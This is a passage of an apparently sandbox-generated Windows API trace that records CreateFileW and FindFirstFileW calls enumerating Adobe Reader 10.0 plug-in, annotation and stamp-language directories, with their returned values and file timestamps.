	[0054.325] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.326] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.326] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.328] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.328] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.357] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.361] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.361] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.363] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.364] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.368] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.373] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.373] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.376] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.376] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.378] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.382] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.384] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.389] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.394] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.395] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.399] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.405] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.405] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.406] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.407] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.409] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.410] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
